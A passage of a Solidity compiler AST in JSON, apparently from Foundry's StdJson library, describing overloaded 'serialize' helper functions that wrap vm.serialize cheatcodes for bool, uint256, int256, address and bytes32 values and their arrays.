memory)"}},"id":10918,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3580:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10912,"id":10919,"nodeType":"Return","src":"3573:44:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3437:9:10","parameters":{"id":10909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10903,"mutability":"mutable","name":"jsonKey","nameLocation":"3461:7:10","nodeType":"VariableDeclaration","scope":10921,"src":"3447:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10902,"name":"string","nodeType":"ElementaryTypeName","src":"3447:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10905,"mutability":"mutable","name":"key","nameLocation":"3484:3:10","nodeType":"VariableDeclaration","scope":10921,"src":"3470:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10904,"name":"string","nodeType":"ElementaryTypeName","src":"3470:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10908,"mutability":"mutable","name":"value","nameLocation":"3503:5:10","nodeType":"VariableDeclaration","scope":10921,"src":"3489:19:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":10906,"name":"bool","nodeType":"ElementaryTypeName","src":"3489:4:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":10907,"nodeType":"ArrayTypeName","src":"3489:6:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"3446:63:10"},"returnParameters":{"id":10912,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10911,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10921,"src":"3544:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10910,"name":"string","nodeType":"ElementaryTypeName","src":"3544:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3543:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10940,"nodeType":"FunctionDefinition","src":"3630:170:10","nodes":[],"body":{"id":10939,"nodeType":"Block","src":"3739:61:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10934,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10923,"src":"3773:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10935,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10925,"src":"3782:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10936,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10927,"src":"3787:5:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10932,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3756:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10933,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3759:13:10","memberName":"serializeUint","nodeType":"MemberAccess","referencedDeclaration":13255,"src":"3756:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,uint256) external returns (string memory)"}},"id":10937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3756:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10931,"id":10938,"nodeType":"Return","src":"3749:44:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3639:9:10","parameters":{"id":10928,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10923,"mutability":"mutable","name":"jsonKey","nameLocation":"3663:7:10","nodeType":"VariableDeclaration","scope":10940,"src":"3649:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10922,"name":"string","nodeType":"ElementaryTypeName","src":"3649:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10925,"mutability":"mutable","name":"key","nameLocation":"3686:3:10","nodeType":"VariableDeclaration","scope":10940,"src":"3672:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10924,"name":"string","nodeType":"ElementaryTypeName","src":"3672:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10927,"mutability":"mutable","name":"value","nameLocation":"3699:5:10","nodeType":"VariableDeclaration","scope":10940,"src":"3691:13:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10926,"name":"uint256","nodeType":"ElementaryTypeName","src":"3691:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3648:57:10"},"returnParameters":{"id":10931,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10930,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10940,"src":"3724:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10929,"name":"string","nodeType":"ElementaryTypeName","src":"3724:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3723:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10960,"nodeType":"FunctionDefinition","src":"3806:199:10","nodes":[],"body":{"id":10959,"nodeType":"Block","src":"3944:61:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10954,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10942,"src":"3978:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10955,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10944,"src":"3987:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10956,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10947,"src":"3992:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}],"expression":{"id":10952,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"3961:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10953,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3964:13:10","memberName":"serializeUint","nodeType":"MemberAccess","referencedDeclaration":13268,"src":"3961:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_uint256_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,uint256[] memory) external returns (string memory)"}},"id":10957,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3961:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10951,"id":10958,"nodeType":"Return","src":"3954:44:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"3815:9:10","parameters":{"id":10948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10942,"mutability":"mutable","name":"jsonKey","nameLocation":"3839:7:10","nodeType":"VariableDeclaration","scope":10960,"src":"3825:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10941,"name":"string","nodeType":"ElementaryTypeName","src":"3825:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10944,"mutability":"mutable","name":"key","nameLocation":"3862:3:10","nodeType":"VariableDeclaration","scope":10960,"src":"3848:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10943,"name":"string","nodeType":"ElementaryTypeName","src":"3848:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10947,"mutability":"mutable","name":"value","nameLocation":"3884:5:10","nodeType":"VariableDeclaration","scope":10960,"src":"3867:22:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":10945,"name":"uint256","nodeType":"ElementaryTypeName","src":"3867:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":10946,"nodeType":"ArrayTypeName","src":"3867:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"3824:66:10"},"returnParameters":{"id":10951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10950,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10960,"src":"3925:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10949,"name":"string","nodeType":"ElementaryTypeName","src":"3925:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3924:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10979,"nodeType":"FunctionDefinition","src":"4011:168:10","nodes":[],"body":{"id":10978,"nodeType":"Block","src":"4119:60:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10973,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10962,"src":"4152:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10974,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10964,"src":"4161:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10975,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10966,"src":"4166:5:10","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10971,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"4136:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10972,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4139:12:10","memberName":"serializeInt","nodeType":"MemberAccess","referencedDeclaration":13195,"src":"4136:15:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,int256) external returns (string memory)"}},"id":10976,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4136:36:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10970,"id":10977,"nodeType":"Return","src":"4129:43:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4020:9:10","parameters":{"id":10967,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10962,"mutability":"mutable","name":"jsonKey","nameLocation":"4044:7:10","nodeType":"VariableDeclaration","scope":10979,"src":"4030:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10961,"name":"string","nodeType":"ElementaryTypeName","src":"4030:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10964,"mutability":"mutable","name":"key","nameLocation":"4067:3:10","nodeType":"VariableDeclaration","scope":10979,"src":"4053:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10963,"name":"string","nodeType":"ElementaryTypeName","src":"4053:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10966,"mutability":"mutable","name":"value","nameLocation":"4079:5:10","nodeType":"VariableDeclaration","scope":10979,"src":"4072:12:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10965,"name":"int256","nodeType":"ElementaryTypeName","src":"4072:6:10","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"4029:56:10"},"returnParameters":{"id":10970,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10969,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10979,"src":"4104:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10968,"name":"string","nodeType":"ElementaryTypeName","src":"4104:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4103:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":10999,"nodeType":"FunctionDefinition","src":"4185:197:10","nodes":[],"body":{"id":10998,"nodeType":"Block","src":"4322:60:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10993,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10981,"src":"4355:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10994,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10983,"src":"4364:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10995,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10986,"src":"4369:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}],"expression":{"id":10991,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"4339:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4342:12:10","memberName":"serializeInt","nodeType":"MemberAccess","referencedDeclaration":13208,"src":"4339:15:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_int256_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,int256[] memory) external returns (string memory)"}},"id":10996,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4339:36:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10990,"id":10997,"nodeType":"Return","src":"4332:43:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4194:9:10","parameters":{"id":10987,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10981,"mutability":"mutable","name":"jsonKey","nameLocation":"4218:7:10","nodeType":"VariableDeclaration","scope":10999,"src":"4204:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10980,"name":"string","nodeType":"ElementaryTypeName","src":"4204:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10983,"mutability":"mutable","name":"key","nameLocation":"4241:3:10","nodeType":"VariableDeclaration","scope":10999,"src":"4227:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10982,"name":"string","nodeType":"ElementaryTypeName","src":"4227:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10986,"mutability":"mutable","name":"value","nameLocation":"4262:5:10","nodeType":"VariableDeclaration","scope":10999,"src":"4246:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":10984,"name":"int256","nodeType":"ElementaryTypeName","src":"4246:6:10","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":10985,"nodeType":"ArrayTypeName","src":"4246:8:10","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"4203:65:10"},"returnParameters":{"id":10990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10989,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10999,"src":"4303:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10988,"name":"string","nodeType":"ElementaryTypeName","src":"4303:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4302:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11018,"nodeType":"FunctionDefinition","src":"4388:173:10","nodes":[],"body":{"id":11017,"nodeType":"Block","src":"4497:64:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11012,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11001,"src":"4534:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11013,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11003,"src":"4543:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11014,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11005,"src":"4548:5:10","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":11010,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"4514:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4517:16:10","memberName":"serializeAddress","nodeType":"MemberAccess","referencedDeclaration":13095,"src":"4514:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,address) external returns (string memory)"}},"id":11015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4514:40:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11009,"id":11016,"nodeType":"Return","src":"4507:47:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4397:9:10","parameters":{"id":11006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11001,"mutability":"mutable","name":"jsonKey","nameLocation":"4421:7:10","nodeType":"VariableDeclaration","scope":11018,"src":"4407:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11000,"name":"string","nodeType":"ElementaryTypeName","src":"4407:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11003,"mutability":"mutable","name":"key","nameLocation":"4444:3:10","nodeType":"VariableDeclaration","scope":11018,"src":"4430:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11002,"name":"string","nodeType":"ElementaryTypeName","src":"4430:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11005,"mutability":"mutable","name":"value","nameLocation":"4457:5:10","nodeType":"VariableDeclaration","scope":11018,"src":"4449:13:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11004,"name":"address","nodeType":"ElementaryTypeName","src":"4449:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4406:57:10"},"returnParameters":{"id":11009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11018,"src":"4482:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11007,"name":"string","nodeType":"ElementaryTypeName","src":"4482:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4481:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11038,"nodeType":"FunctionDefinition","src":"4567:202:10","nodes":[],"body":{"id":11037,"nodeType":"Block","src":"4705:64:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11032,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11020,"src":"4742:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11033,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11022,"src":"4751:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11034,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11025,"src":"4756:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}],"expression":{"id":11030,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"4722:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11031,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4725:16:10","memberName":"serializeAddress","nodeType":"MemberAccess","referencedDeclaration":13108,"src":"4722:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_address_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,address[] memory) external returns (string memory)"}},"id":11035,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4722:40:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11029,"id":11036,"nodeType":"Return","src":"4715:47:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4576:9:10","parameters":{"id":11026,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11020,"mutability":"mutable","name":"jsonKey","nameLocation":"4600:7:10","nodeType":"VariableDeclaration","scope":11038,"src":"4586:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11019,"name":"string","nodeType":"ElementaryTypeName","src":"4586:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11022,"mutability":"mutable","name":"key","nameLocation":"4623:3:10","nodeType":"VariableDeclaration","scope":11038,"src":"4609:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11021,"name":"string","nodeType":"ElementaryTypeName","src":"4609:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11025,"mutability":"mutable","name":"value","nameLocation":"4645:5:10","nodeType":"VariableDeclaration","scope":11038,"src":"4628:22:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":11023,"name":"address","nodeType":"ElementaryTypeName","src":"4628:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":11024,"nodeType":"ArrayTypeName","src":"4628:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"4585:66:10"},"returnParameters":{"id":11029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11028,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11038,"src":"4686:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11027,"name":"string","nodeType":"ElementaryTypeName","src":"4686:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4685:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11057,"nodeType":"FunctionDefinition","src":"4775:173:10","nodes":[],"body":{"id":11056,"nodeType":"Block","src":"4884:64:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11051,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11040,"src":"4921:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11052,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11042,"src":"4930:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11053,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11044,"src":"4935:5:10","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":11049,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"4901:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract 